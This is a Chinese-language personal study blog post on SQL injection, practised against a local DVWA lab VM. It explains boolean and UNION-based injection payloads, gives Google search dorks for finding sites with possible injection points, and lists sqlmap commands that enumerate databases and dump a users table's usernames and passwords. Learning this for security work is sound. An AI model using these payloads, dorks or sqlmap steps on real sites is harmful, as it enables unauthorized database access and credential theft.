SQL注入攻击
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.
注:来源于百度百科
SQL的危害及学习介绍
SQL注入漏洞常年稳居OWASP TOP10的前几位,高居榜首.所以由此可见SQL注入的危害性.如果目标站点存在SQL注入漏洞的话,那么心怀不轨的人就可以能通过SQL注入漏洞来对目标站点的数据库进拖库和爆库的恶意操作,从而盗取目标站点的数据信息,并且在本文中,本小白通过学习Web安全渗透来掌握了相关SQL注入的一些原理及攻击方式,纯属用于学习,并未做出任务违反国家网络安全法律的行为,一切操作都是在本人的虚拟机上完成.
手动模式介绍
首先手动模式在实际应用中并不常见,因为使用工具的效率比我们手动注入的效率要快得多。那为什么还要介绍手动模式下的SQL注入呢?这当然是为了方便我们对SQL注入的理解。
SQL注入的方法
基于本人的大概理解,并且是手动模式下,只是对SQL注入原理的一些了解和学习,在自动模式下基本没有这么复杂,但是大佬好像都会用到手动注入。
- 判断是否有SQL注入漏洞
搜寻一个可能存在SQL注入的网站相对来说也比较的简单,可以在浏览器中使用相关的搜索语法来搜索一些带有.php?id=
这样的特殊关键字来网站,url中带有这些关键字的网站或许就存在着相关的SQL注入漏洞,具体搜索语法举例:
inurl:.php?id=
inurl:.asp?id=
如果想要尝试搜索,建议在谷歌浏览器或者谷歌搜索引擎中搜索.由于这里我是使用OWASP虚拟机进行实验,所以相关内容就不实际展示.
- 使用布尔型注入进行测试
何为布尔型,布尔型是一种变量类型,它的值只有真或者假两种,但是在SQL注入中,我们使用的是布尔运算,布尔运算包括了NOT(非),AND(与),OR(或),我们可以通过使用布尔运算来查询出一些数据库本来不想给我们看的数据.详细这个布尔运算的原理也基本都懂。 - 使用union联合查询
判断出目标网站具有SQL注入漏洞之后,并且也通过了布尔型查询出相关数据,那么我们就可以使用联合查询union
来查询更多的数据。
注入的原理:
系统后台原始的SQL语句(举例):
select num,name from student where num=''
- 判断是否存在注入漏洞:
select num,name from student where num='''
这里最后有三个单引号,中间那个单引号是我们输入的所要查询的数据,如果存在漏洞,那么系统会识别这个单引号,并给我们提示相应的错误信息,而且那个单引号也成为了原始SQL语句的闭合条件,我们通过闭合原始SQL语句后我们自己添加一些条件或者自己构造一些语句来完成相关数据的查询。
实际操作演示:
本文有关界面前面的文章中有提到
输入单引号'
进行测试
弹出错误提示
以上就大概可以判断存在sql注入漏洞 - 使用布尔型注入测试:
select num,name from student where num='' or 1=1 -- ttt'
注意ttt
前面的空格
以上我们添加的内容为' or 1=1 --ttt
,开头的单引号('
)用于闭合原始SQL语句的查询条件,or
表示使用布尔型的逻辑或来查询,逻辑或是只要有一个为真,那么就执行。后面的--
表示的意思是注释,意思就是后面的所有语句都不管用,因为最后面还有一个单引号,所以需要把它注释掉。ttt
就是随便修饰一下的,高兴就好……
实际操作演示:
正常情况的查询
使用布尔查询
- 使用
union
联合查询:
还是基于原始SQL语句进行实验
select num,name from student where num='‘ and 1=2 union select score,name from student where name=zhangsan -- hhh'
以上在原始SQL语句的基础上添加了' and 1=2 union select score,name from student where name=zhangsan -- hhh
前面的' and 1=2
是表示不执行原始的SQL语句,and语句表示有一个为假则为假,所以原始SQL语句就不执行,然后union
表示联合查询,我们可以在后面重新构造一条SQL语句来查询相关数据。select score,name from student where name = zhangsan
这句应该就需要介绍了,-- hhh
前面两个杠杠还是用于注释掉后面语句的。但是联合查询也有一个缺点,那就是如果系统后台的SQL语句只能查两个字段的话,后面自行构造的语句也只能查询两个字段的内容。如果我们构造的语句字段少了可以添加,例如:
select num,name from student where num='' and 1=2 union select num,1 from student --大概就是这样'
就好比一个房间住一个人,有多少个房价就住多少个人,如果我们实际没有那么多人,就虚拟几个出来住,不能浪费空间;相反的,如果我们人多了,那么就可以通过其他的方式让多余的人在其他房间挤一挤。联合查询就像这样一样。
这个实际操作演示好像不好弄
原理就是这个原理,实际注入中基本都是使用自动化注入,不会有这些情况; - 需要记住的东西
TABLE_NAME
表示的是表名
举例:
TABLE_SCHEMA
表示的是库名
COLUMNS_NAME
表示的是字段名
information_schema
这个数据库要牢记,类似数据库字典
基本手动SQL注入也差不多就这些内容,其实要理解还是挺容易的,我一个小白都听懂了。
自动模式注入介绍
关于SQL自动注入还是推荐先去通过视频学习,这里只能大概记录一下。
Kali下SQL自动注入
相关命令/工具:sqlmap
举个栗子:sqlmap -u "xxxx.com" -选项
举个具体点的栗子:sqlmap -u "xxx.com.php?id=1" --dbms=mysql --batch
这句的意思是注入指定网站,并指定数据库为mysql
的,并自动化执行
对靶机进行自动SQL注入实验:
由于上面提到的页面需要进行登陆了过后才能注入,然而在Kali下进行注入的时候由于没有cookie,所以不能通过上面的那个页面进行注入,需要去另一个界面进行注入操作。(我说的啥,自己都没懂)总之就是需要在上面提到的那个页面上注入的话,需要把cookie提取出来,然后在sql注入的时候将cookie带入进去才能在指定的登陆页面注入。
下图这个页面,随便输入一个用户名和密码然后点view那个按钮,然后再复制链接到Kali下进行SQL注入操作,不然好像会报错,无法成功注入。
链接后面可以跟很多选项,比如那个--batch
表示的是完全自动,比如中途出现什么需要输入yes或者no的时候,系统就会自动输入相关命令来注入。具体详情可以man sqlmap
查看具体命令用法。注入过程会花费一定的时间,请耐心等待。
注入失败,结束注入……
放弃,不可能放弃的!
- 成功注入后的提示
第一次的注入过程会非常的缓慢,但是注入流程完了之后后面的步骤就会相对快很多。
操作实例:
查询其中的数据库信息,目标url
根据实际情况设定
sqlmap -u "xxx.com.php?id=1" --dbs
查询数据库名为dvwa中的表信息
sqlmap -u "xxx.com.php?id=1" -D dvwa --tables
查询user表中的数据信息
sqlmap -u "xxx.com.php?id=1" -D dvwa -T users --dump-all
dump-all的意思是查询所有字段,可以通过-C
即columns
列信息
sqlmap -u "xxx.com.php?id=1" -D dvwa -T users -C "user,password" --dump
完成注入操作。
sqlmap相关的语法介绍:
--users
:获得所有用户信息
--current-user
:获得当前用户信息
--dbs
:获得所有数据库信息
--current-db
:获得当前数据库信息
-D 库名 --tables
:获得指定数据库中的表信息
-D 库名 -T 表名 --columns
:获得指定数据库的指定表中的列信息
-D 库名 -T 表名 --dump-all
列出指定数据库的指定表所有字段
-D 库名 -T 表名 -C "字段1,字段2" dump
:列出指定数据库的指定表指定列的信息
SQL注入大概就记录到这个地方,目前也有一些实战经验,但是实战的时候不像在虚拟机里一样流畅,遇到了一些问题,还不知道怎么结局,希望通过以后的学习能更加的加深自己对于这方面知识的理解。
总结
SQL注入主要是先学习了手动注入,先了解其注入原理,然后实际的操作过程中加深印象。然后通过Kali下的sqlmap注入工具对靶机进行注入操作。我觉得SQL注入学习过程中,最主要的还是要通过实践,因为我都是视频看完了过后,我没有第一时间去实验,反而是继续往下面看,最后在博客记录的途中,很多的都没有想起来。知道原理但是不知道具体怎么实施,所有,以后还是要一边看一边实践,这样才能加深自己的印象。
目前遇到过的问题
- 虚拟机使用NAT模式时,物理机无法访问靶机的80服务,能ping通。Kali能访问靶机80服务,使用桥接模式物理机才能访问靶机80服务。
- 在上面的自动化注入过程中,一直失败,提示那里没有注入点,后来重新实验了好几遍才成功了,具体怎么回事还不知道。
- 上次物理机开了VPN,然后我也没设置什么东西,但是Kali也翻出去了,后来我再次实验,发现物理机再怎么翻,Kali也翻不出去。